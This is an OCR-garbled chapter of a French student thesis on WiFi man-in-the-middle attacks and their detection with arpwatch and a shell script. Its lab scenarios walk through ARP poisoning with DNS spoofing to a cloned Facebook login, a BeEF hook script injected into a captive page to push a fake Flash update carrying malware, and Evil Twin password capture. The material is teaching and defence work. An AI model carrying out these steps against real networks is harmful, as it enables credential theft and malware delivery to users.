une configuration de base, le but est de rendre le client apte a communiquer sur le
réseau via cette adresse IP la méme temps le client répond par la trame DHCP Request
pour demander au serveur la validation de cette configuration. Le serveur confirme par
la trame DHCP Ack et envoie la derniére information de configuration comme la
passerelle, DNS,...

A partir de cette théorie un attaquant peut saturer un serveur DHCP, le fait est
que le serveur propose un pool d’adresses par exemple 254 IP on effectua 254 demande
de DHCP Discover dans un temps tres court et on attend les trames de confirmation. Si
un client arrive sur le réseau a ce moment-la il ne pourra avoir d’adresse IP car le
serveur DHCP est déja saturé. Il s’agit bien d’une attaque de type Deni Of Service
(DOS) au niveau de service DHCP [19].

Client demande demande en attente
une

configuration saturation Pool

@ip: 0.0.0.0 ‘, D'adresse
\.\3 //

p

Point d'accés

@ip :192.168.1.1
@MAC:XX:XX:XX:XX:9D:62

\\Q“ //
VICTIME
@ip :192.168.1.80 254 trame de

DHCP Disgoues

@MAC: xx:xx:xx:xx:3E:EC

Table ARP:
Table ARF: " 192.168.1.102-> XX:XX:XX:XX:E2:B3
192.168.1.80 —> xx:XX:XX:XX:3E:EC oz 192.168.1.80 --> XX:XX:XX:XX:3E:EC
192.168.1.1 --> XX:XX:XX:Xx:9D:62 g 192.168.1.1 --> XX:XX:XX:XX:9D:62

192.168.1.102--> XX:XX:XX:XX:E2:B3|

HACKER (SE KAL)
@ip :192.168.1.102
@MAC: xx:XX:XX:Xx:E2:B3

Figure V.3. Saturation du service DHCP (Rogue DHCP).
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5. DNS Spoofing :

Des milliers de serveurs installés en différent endroit fournissent les services que
nous utilisons quotidiennement sur internet. Chacun de ces serveurs est identifié par son
adresse IP sur le réseau. Pour un humain il est difficile de se souvenir de tous les
adresses des serveurs. Un service Domaine Name Server (DNS) résout ce probleme par
la création d’une table qui associe chaque adresse IP par & un nom de domaine.

Donc le nom de domaine dit URL envoyé vers le serveur DNS pour répondre avec
I’adresse IP du serveur demandé. Pour naviguer sur internet il faut un service DNS,
alors I’attaquant grace a MITM et DHCP Rogue peut donner des fausses configurations
de base et associer tous les services ver sa propre machine qui gére des fausses page
web [1].

6. MITM avec Evil Twins P.A :

Attaque au point d’acceés « Evil Twin » lorsque vous tentez de vous connecter a
un réseau sans fil, les appareils WIFI essaieront de s’associer a un point d’accés a
proximité.

Les attaquants peuvent utiliser des outils pour transformer un ordinateur
ordinaire a un point d’acces et ensuite utiliser le nom du point d’accés connus ou celui
de confiance afin que les appareils se connectent au faux point d’accés « Evil Twin »,

Une fois qu’un appareil est connecté au point d’acces « EvilTwin » 1’attaquant peut
intercepter les informations sensibles. L’attaquant peut diriger le trafic vers des faux
sites web, des faux serveurs de messageries ou d’autres faux sites ou 1’utilisation des
informations personnelles est récupérée ainsi que des téléchargements des logiciels

malveillants [20].

-
client

< - e

Point daccés

SsSID : BIBLIO

client

~

" SsID: BIBLIO
5
hacker S.E

(WIFISKAX)

Figure V.4. Principe de I'attaque Evil Twin
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7. Des scenarios pour les attaques MITM :
7.1. Scénario 1 : exploiter MITM et le phishing au sein d’un

réseau WIFI.

Dans ce scénario on va utiliser un nceud WIFI connecté a internet, des
ordinateurs connectés via WIFI et un ordinateur pour jouer le rdle d’un hacker utilisant
KALI comme systeme d’exploitation

Le travail est basé sur deux outils essentiaux ettercap et Setoolkit [1].

e Ettercap Est un utilitaire réseau aux multiples fonctionnalités. 1l est capable
d’intercepter le trafic sur un segment réseau, de capturer les mots de passes et de
réaliser des attaques MITM par ARP poising, DNS spoofing.....

e Setoolkit (Social Engineer Toolkit) est un outil de type ligne de commande
qui s’installe sur linux, contient plusieurs options on s’intéresse aux fausses pages web.

Sur le menu KALI on démarre ettercap-graphical est dans 1’onglet sniff on
choisit unified sniffing puis on sélectionne I’interface réseau, apres le lancement d’un
scan de réseau et lister les clients, on ajoute la passerelle dans Target 1 et I’adresse de la
victime Target 2, tout ¢a pour activer ARP poisoning [1].

ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins ?

Host List W
IP Address MAC Address Description
0.0.0.0 84:A6:C8:1E:78:B8B

92, AOF3:C] : \%:'ze ip de passerelle = pint d'accés
192.168.1.80 D4:3D:7E:7D:36:EC A e ip de PC vitime

192.168.1.100 84:A6:C8:1E:7B:BB
192.168.1.104 A4:77:60:F0:19:CC

~ —

Delete Host Add to Target 1 Add to Target 2

2 hosts added to the hosts list
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts
S hosts added to the hosts list

Host 192.168.1.1 added to TARGET1 I

Host 192.168.1.80 added to TARGET2

P

Figure V.5. Interface liste des hots ettercap.

Pour le DNS spoofing on modifie les deux fichiers ettet.conf et etter.dns sur
le premier on remplace ec_uid, ec_guid égale a zéro.
Et pour etter.dns on associe I’adresse IP de la machine KALI & un nom de

domaine dans notre cas www.facebook.com
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Dans le Shell on tape setoolkit puis Social Engineering Attacks, I’attaque est basée
sur web site attack vector ¢ a d on active option 2 puis option 3 et on choisit site cloner.

On ajoute D’adresse IP du serveur web (machine KALI) et I’URL:
www.facebook.com .

Il reste maintenant de configurer le plugin d’ettercap pour le DNS spoof et on
lance ARP poisoning dans 1’onglet MITM.

Dans I’ordinateur de la victime on tape arp —a dans la ligne de commande cmd.
Il faut remarquer que 1’adresse MAC de la passerelle a changé par I’adresse MAC de la
machine KALI. Méme le Ping vers le site web www.facebook.com.

] C:\Wmdom\systern3l’;f.ﬂ'njunet

161

iterface

Figure V.6. Résultat de la commande arp -a et le ping .

A la fin on ouvre le navigateur et I’'URL www.facebook.com le résultat est
présentée dans la figure suivante.

¢ o oo
1. Pour une meilleure utilisation de Facebook, basculez sur la version basique du site ou mettez 3 jour votre navigateur.

Se connecter a Facebook
testMITM

Figure V.7. Fausse page facebook.
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Puis dans le répertoire associé dans kali on trouve le nom d’utilisateur et le mot

de passe comme celui.

08.976346.txt - Notepad _ | o i

File Edit Search Help

i fzrray =

[Isd] => AVoKQqum

[display] =>

[enable_profile_selector] =>

[isprivate] =>

[legacy_return] => 1

[profile_selector_ids] =>

[skip_api_login] =>

[signed_next] =>

[trynum] => 1

[timezone] => -75

[lgndim] => eyJ3ljoxMzY2LCJoljo3NjgsimF3ljoxMzY2LCJhaCl6NzMA4LClJjljoyNHO=

[lgnrnd] => 163217 _rwflL
anisl => 146085420

[email] => testMITM

pass] => testMITM

]

[default_persistent] => 1
[gsstamp] =>
W1tbhMSwyMCwyNSwyOSwzMCwiMyw1 Myw3NSw30CwiadMiw5MiwbNywxMDQsMTI2LDEzMSwxMzcsMT
Q5LDE1MiwxNzIsMTgwlLDEANSwyMjgsMjMyLDIZNiwyNzAsMjc4lL DMwNiwzNDEsMzc1LDQx0SwOMjQsN
TAzLDUxOCw1NDUsNTg2LDUS50Cw2MDEsNJEOLDYyOCw2NTYsNjgxLDcl1MI1dLCIBWmOzcVYwZzRwM?2
42U3NpanpMZ2k2dnNSdGFORmM5kX211Q2pDOEYadFNpUzY4bGpHNEQASXY2clhfUzdBbTRaaGtLNUpVYNm
g0dmV1VzRFN25EemEya01DcHRQQUIrSGSFTUJfSHEyVnILcVhKTGRyRWO05VGXxDMzBsVXIZcDIIb0OViald
INOWVVN1ZrTnpMbIVrMXQ4eFRINUR6Q0Qzay0zTGIDdFRpNHRwVYVhSYnljQ2hKeVRZXy0tUzB5WUZMXz
i YyLTRVaEdHa005SXpZcENoLVYhhRWt0c1ciXQ==

h

Figure V.8. Fichier des mots de passe géré par Setoolkit
7.2. Scenario 2 :I’attaque MITM et lancement des commandes
(malwares) :

MITM attaque peut étre un support utilisé pour plusieurs vulnérabilité le but a
exploiter dans ce scénario est de détourner tout le trafic web a une seul machine et la
page affichée contient un scripte malicieux de type JavaScript, aussi on peut ajouter ou

exécuter des multiples commandes via un navigateur web.

Victime 2

-
S

\3
Victime 1
[

Q5 .
SE. WIFISLAX S
SE. KALI

Figure V.9. Principe de I'attaque MITM sous cazado et beef
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Les outils utiliser CAZADO, BEEF....

¢ CAZADO L'objectif de ce script est d’effrayer les voisins qui sont connectes a
notre réseau sans notre permission, et d'empécher l'acces a Internet. Le script en place
un petit serveur web sur le port 80, qui possede un fichier index.html contenant un
message que les voisins vont voir, nous allons créer un portail captif empoisonnement
du cache ARP et falsifier des résolutions DNS, de sorte que lorsque toutes les machines
a savoir notre réseau tente d'accéder a une page Web il sera redirigé a notre serveur
local, de cette facon, nous allons faire savoir a notre voisin qu’il ne peut pas accéder a

I'Internet, et le message que nous avons laissé [21].

e BEEF est court pour le navigateur cadre Exploitation. Il est un outil de test de
pénétration qui se concentre sur le navigateur Web.

Au milieu de préoccupations croissantes au sujet des attaques véhiculées par le
Web contre les clients, y compris des friandises clients mobiles, BEEF Permet de tester
les attaques professionnelles pour évaluer la posture de sécurité actuelle d'un
environnement cible en utilisant des vecteurs d'attaque coté client. Contrairement a
d'autres cadres de sécurité, BEEF regarde au-dela du systéme de réseau de périmetre et
client et d'examiner le contexte exploitabilité Dans la seule porte ouverte : le navigateur
Web. BEEF va accrocher un ou plusieurs navigateurs Web et les utiliser comme des
ponts pour le lancement et des modules de commande des attaques dirigées davantage
contre le systeme a partir du contexte du navigateur [22].

< 127.0.0.1:3000/ui/panel

EMost Visited~ Bl Offensive Security S, Kali Linux "% Kali Docs ﬂExpLoit—DB W Aircrack-ng

Hooked Browsers . Getting Started Logs
[_Jonline Browsers | ~]
—lOffline Browsers
0 ]192168.1.102
i R
708 58.1.102
. e
7 M0 | .39 —eEF
THE BAOWSER EXPLOITATION FRAMEWORK PROJECT
7 W g 15 )
T AB
o 19 r1oz Official website: hitpl /b eefproject.com/
7 R 4 165 G s B
ettin tarte
7 3 165 9
T 165 Welcome to BeEF!
@ '\ o4 165 = Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you
. can point a browser towards the basic demo page here, or the advanced version here.
7 ¥ 4 165
9 ! 0 If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
41 13 into wour browser's bookmark bar, then simply click the shorteut on another page: Hook hiek
i E ;
a - “ Bz After a browser is hooked into the framework they will appear in the ‘Hooked Browsers' pangl on the
7 ! o4 15212 left. Hooked browsers will appear in either an online or offline state, depending on how recently they
—— have polled the framework.
7 M9 18.225
7 N HE4g | 80 Hooked Browsers
@ '\ Mg | .80 To interact with @ hooked browser simply left-click it, a neww tab will appear. Each hooked browser tab
=, has a number of sub-tabs, described below:
7 W10 178
- Main: DIS lay information about the hooked browser after you've run some command modules.
7 B M19.. 0010025 B A s R e yor e some

Figure V.10. Tableau de bord BEEF
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Au menu wifislax on lance 1’outille CAZADO dans le menu de commande on a
le choix de modifier le script de la page qui nous voulons afficher. On ajoute une ligne
qui était gerer par Beef. Cette ligne permet d’affiché les adresses des victimes au menu
de beef

I index.html - Mousepad 4+ -0 %

File Edit Search W“iew Document Help
Warning, you are using the root account, you may harm your system.

<html=>
-:heac_i:\- .
<ti1tle=ACCESD DENEGADO</title=

[-:script src="http://192.168.1.102:3000/hook . ]s"><script=> j
</head
dbody BGCOLOR="BLACK" TEXT="RED"=>
<table WIDTH="100%" HEIGHT="100%"><tr>
<td VALIGMN="MIDDLE" ALIGN="CENTER">
<hl=<b= helllo world.</b=</hl=
</td=</tr>
=/table=
</body=
</html=

Figure V.11. Scripte a ajouter au page web.

maintenant on peut passer au I’étape suivant de CAZADO et attendre
I’appartient des victimes au tableau de bord beef pour lancer des multiples commandes
comme affiché, une box informant que votre session est expiré etc. ... nous avons
effectué un test avec une fausse flash update, donc on fait appel au générateur des
payloads comme Veil-Evasion, Cobaltstrike , armitage .... Méme des logiciels qui sont
exécutés sous windows.

L’étape finale c’est de lancer un panneau qui dit que le flash Player a besoin des

mises ajours et le fichier de mise a jour n’est autre que notre malware.

3 ACCESO DENEGADO X 4+ - X
& O google.com w = @ @

An update to Adobe® Flash® Player Is avallable.

This update includes improvements in usability, online security and
stabilit, as well as new features which help content developers deiiver
ich and engaging experiences:

Did you know...

+ The top 10 Facebook games use the Flash Player. To see more,
visit: www.adobe.com/games.

+ Most of the top video sites on the web use Flash Player

+ Flash Player is installed on over 1.3 billion connected PCs

Note: If you have selected to allow Adobe to install updates, this update

will be installed on your system automatically within 45 days or you can
choose to download it now.

REMIND ME LATER INSTALL

Figure V.12. Page web afficher plus le demande de faire un mise ajoure.
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7.3. Scenario 3 : Attaque Evil Twin par Airssl :

Aujourd’hui la plus part de nous utilises des smartphones des ordinateurs
portables dans les espaces publiques bibliotheque, cafétéria, méme des fois dans des
jardins publique et bénéficient de service WIFI gratuitement.

Cette vulnérabilité consiste a fournir notre environnement d’une zone WIFI de
type Evil Twin.

Il existe plusieurs méthodes pour lancer une attaque de type Evil Twin. Nous
nous intéressons a un outil qui existe ou systeme d’exploitation Wifislax.

o Airssl : Avec cet outil, nous créons un faux AP que la victime est reliée a
notre application et obtenir leurs titres de compétences. Pour utiliser I'outil dont nous
avons besoin 2 interfaces réseaux. Il faut étre connecté a I'Internet, l'autre doit étre sans
fil et étre libre de créer le faut AP [21].

Apre le lancement de airssl au menu de wifislax, par default il sélectionne
I’interface connectée a internet et la passerelle par defaut donc on sélectionne I’interface

sans fils qui devient un nceud WIFI.

Maintenant on confirme par NO pour conserver le SSID « open wifi », apres la
confirmation 3 Shell affiche le premier pour les connexions associées a notre Evil Twin
point d’acces la deuxiéme pour DHCP server, les deux Shell qui restent pour le sniffer

ettercap et ’affichage des mots de passe.

Quand un client ou victime se connecte il peut naviguer sur internet librement
mais tous le trafic et suivie par le hacker par exemple s’il essayer de se connecter au site

www.startimes.com on peut capter le nom d’utilisateur et le mot de passe.

G hotmail sign in - Recherch.. X 4 Facebook - Connexion ou... X | 1 Facebook - Connexion ou... X jacl jliw Olaiis X+ =

» startimes.com e 9 3 & O 0
e se = 7S K
% . { (2
- oy .7 ﬁ‘

19a288 luidi Jouw 515968 8550 8aclue dhuiu Sualse chacill

Passwords
means a space..

09 pirall %
mMaurise132001 zawil
sessnsensens iw nall alll ‘
1, all 30050 L x
Wl sl -
GMT 43| 04:36
2 —
5 | | -
Wl Sbasiall s liscd 015 (& sbaiiall @
439 elnel Gl oe Lale Slapina
50199 plta PRUPERTRRT
46013lg) 96 pitall oadlyall S)Liso yol 393 guolge &idydg Wylws
slacls woylei
IWNLYA DB + liwS] jgiz + kaareem podl - 04:18 N ’
; . $2988 7877181024901 ne G
2000blas)l + Dz Ahmed + LaMiNe MeD BeY Ly gale i Unipad pSlye +

Figure V.13.Resultat d’'une attaque Evil Twins par Airssl.
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8. Détection de I’attaque MITM par arpwatch:

L’attaque I’homme au milieu est trés dangereuse dans les réseaux WIFI. Pour
sécuriser ou protéger notre réseau on va utiliser une solution embarqué a base de notre
BBB et un outil open source.

L’équipement embarquer ¢’est notre BeagleBdone Black et 1’outil open source est

arpwatch.

Figure IV.14. L’installation de BBB avec un Modem Routeur WIFI.

e Arpwatch est un outil d'administration réseau permettant de surveiller I'activité
du protocole ARP d'un réseau informatique. Il génere [I'historique pour chaque
association d'adresse MAC a une adresse IP, en y ajoutant un horodatage lorsque
I'information bicéphale apparait sur le réseau. Il dispose également d'une option d'alerte
e-mail destinée a prévenir I'administrateur du changement ou de I'ajout d'une telle
donnée [23].

8.1.Installation d’arpwatch :
On tape les commandes suivant sur BBB pour installer arpwatch.
#apt-get upgrade
#apt-get update
#apt-get install arpwatch
8.2.Configuration de ssmtp :
Apres l’installation on place BBB & coté de notre nceud WIFI et tester la
connectiviteé
Puis on va installer le service SSMTP pour envoyer des messages d’alerte.

#apt-get install ssmtp
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Maintenant il reste de modifier les fichiers ssmtp.conf, revaliases et
arpwatch.conf
Les modifications associées a la boite email utilisée pour envoyer les alertes.
Pour le fichier ssmtp.conf on tape la ligne de commande suivant :
#nano /etc/ssmtp/ssmtp.conf
Et on modifier les zones rouges dans la figure suivante

@ debian@arm: -~
GNU nano 2.2.6

File: /etc/ssmcp/ssmtp.conf

Figure V.15. Les parameétres a modifier dans le fichier ssmtp.conf.

@ debian@arm: ~

GHU nano 2.2.6 File: fetc/ssmtp/revaliases

o
m
o
m
y
T
o
i
~
5t

Figure V.16. Les parametres a modifier dans le fichier revalias.
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Maintenant on va associer I’interface, le réseau et la boite mail a arpwatch donc

on a la modification suivant :

@' debian@arm: ~
GNU nano 2.2.6

File: fectc/arpwactch.conf

Figure V.17. Les parametres a modifier dans le fichier arpwatch.conf.

8.3. Lancement d’ arpwatch :
Apres la configuration de base il reste de lancer arpwatch par la commande suivante :
# sudo /etc/init.d/arpwatch start
#tail —f /var/log/syslog
Apres le lancement il va détecter tous les machines connectées et affiche le message
new station I’adresse IP et I’adresse MAC et I’interface réseau aussi il envoie un mail

ver notre boite configurée.

«— Répondre < Répondre & tous —

arpwatch
02-04-16 19:27

new station (122.168.1.104) eth0
A maurise132001 @yahoo.com

hostname: <unknown>
ip address: 152.168.1.104
interface: etho
ethernet address: 48:02:2a:11:15:db
ethernet vendor: <unknown:=
timestamp: Saturday, April 2, 2016 18:27:18 +0000

Figure V.18. L’email envoyé par arpwatch si une nouvelle station connectée.
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Et s’il y a une anomalie ou une attaque de type ARP poisoning il envoie le

message suivant :

€& Répondre & Répondre a tous — T

arpwatch
¥-A-16 1027

changed ethernet address (192.168.1.104) eth0
A : maurise132001 @yahoo.com

hostname: <unknown:
ip address: 192.168.1.104
interface: ethD
ethernet address: ad:77:60:f0:19:cc
ethernet vendor: <unknown:
old ethernet address: 48:02:2a:11:15:db
old ethernet vendor: <unknown=
timestamp: Saturday, April 2, 2016 18:27:18 +0000
previous timestamp: Saturday, April 2, 2016 18:27:18 +0000
delta: 0 seconds

Figure V.19. L’email envoyé par arpwatch s’il y a une attaque ARP.

Par fois 1’attaquant coupe la connexion internet sur le BBB donc il faut suivre la
console pour trouver ou est la source de cette intrusion un fichier situé dans le répertoire
Ivar/lib/arpwatch/ contient une table ARP alors on peut voir les changements d’adresse
MAC et I’adresse IP.

9. Détection d’Arp poisoning par un script Shell :
Nous pouvons également écrire un petit script Shell qui peut surveiller en
permanence le cache ARP et avertir l'utilisateur s’il détecte une usurpation
ARP[3].

#!/bin/bash

# User define Function (UDF)
chkARP(){
cut -d' ' -f4 <(arp -a) > arpcache
exec <arpcache

while read line
do
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list=( "${list{@]}" $line )
done

for mac in ${list{@]}
do
# count= wc -l <(grep -i $mac <arp)
cut -d" ' -f1 <(wc -l <(grep -i $mac <arpcache)) > .tmp_chk123
read count < .tmp_chk123
#echo "$ mac $count"
if [ $count -gt 1 ]; then
echo "WARNING:: ARP Poisoned : $mac $count"
fi
rm .tmp_chk123
done

### Main script stars here ###
# Store file name

# Make sure we get file name as command line argument
# Else read it from standard input device

while [ 1]
do

chkARP
done

exit 0

L’exécution de scripte et le résultat présenté dans la figure suivante.
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.@ debian@arm: ~

=
=
4
4
4
4
4
=
=
4
4
4
4
=
=
4
4
4
4
4
=
=

Figure V.20. Résultat du scripte Shell de détection ARP poisoning.
Remarque :

Si on utilise un serveur DHCP donc il faut apres chaque lancement du BBB
supprimer 1’ancien historique collecté par arpwatch par la commande suivant :

#cd /var/lib/arpwatch

#ls

#rm <tous les fichiers existe >

Aussi pour notre scripte il faut supprimer le fichier arpcache

On peut tomber dans des fausses alertes si quelqu’un demande une nouvelle

offre pour le service DHCP par les commandes ipconfig /release et ipconfig /renew.

10.Conclusion :

La sécuritée wifi est essentielle pour les réseaux privés et public. Dans ce chapitre
on a présenté les multiples types d’attaque MITM comme ARP poisoning, Evil Twins et

une vue générale sur les autres intrusions qu’on peut ajouter.

Et a la fin on a présenté comment on peut détecter et sécuriser un réseau avec
une solution embarquée et open source basee sur une beaglebone black, qu’il est facile

de déployer sur le réseau d’une institution a faible couts d’investissement.
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Conclusion générale

Le domaine de sécurité des réseaux informatique est trés vaste, dans notre cas
on s’intéresse a la partie réseau sans fils WIFI, dans le but de partager les vulnérabilités

les risques d’utiliser un réseau WIFI.

Donc il est nécessaire d’assurer la protection contre les menaces qui touchent

I’intégrité la confidentialité et la disponibilité des ressources.

Aussi présenter les systemes d’exploitation utilisés par les professionnels de la
sécurité dans des scénarios de pentest. Dans les scenarios de pentest on a parlé sur les
types de vulnérabilité tel que découvrir, les scanners et finir par tester le niveau de
sécurité d’un nceud WIFI sécuriser par une clef de cryptage, détournement des sessions
exemple de MITM attaque et Evil Twins. A la fin de chaque scénario de pentest on a
donné une solution optimale basée sur 1’équipement embarqué BeagleBone black et des

outils Open source dans le but d’aller vers une solution moins couteuse et efficace.

On a présenté notre solution efficace du co6té technique en attirant I’attention
qu’il ne faut pas négliger le facteur humain qui doit étre présent pour réagir contre une

attaque détectée. Pour un réseau incontrolable il est conseillé :

e D’éviter de Faire des transactions bancaires ou consulter des mails importants
via un réseau wifi public ouvert.

e D’éviter ’installation des mises a jour des logiciels sans vérifier la source.

e Drutiliser des outils comme arpwatch version Windows pour détecter s’Il y a un
poisining ARP.

e Drutiliser une authentification WPA2 et changer le mot de passe
périodiquement.

e S’il y a un fonctionnement anormal dans le réseau ne pas hésiter a détailler le

probléme.
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Résumeé:

Il est courant dans une institution de déployer plusieurs nceuds permettant
I’accés au réseau local éventuellement a Internet. Des nceuds qui sont déployés de
maniere désordonnés et qui peuvent souffrir de vulnérabilités vis-a-vis de la sécurité et
I’intégrité¢ des données. Le projet vise a développer un dispositif a base d’une carte
embarquée du type beaglebone black pour capturer I’existence des réseaux wifi a sa
portée. Ce dispositif doit étre capable de tester le niveau de sécurité du point d’acces

détectés.
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Abstract:

It is common in an institution to deploy multiple nodes on an area
allowing access to the local network or the Internet. Nodes that are deployed and can
suffer from vulnerabilities of the security and the integrity of data. Our project aims to
develop a device based on an embedded beaglebone black computer to diagnose
wireless networks vulnerabilities. The proposed device must be able to test the several

level of security for the detected access points.
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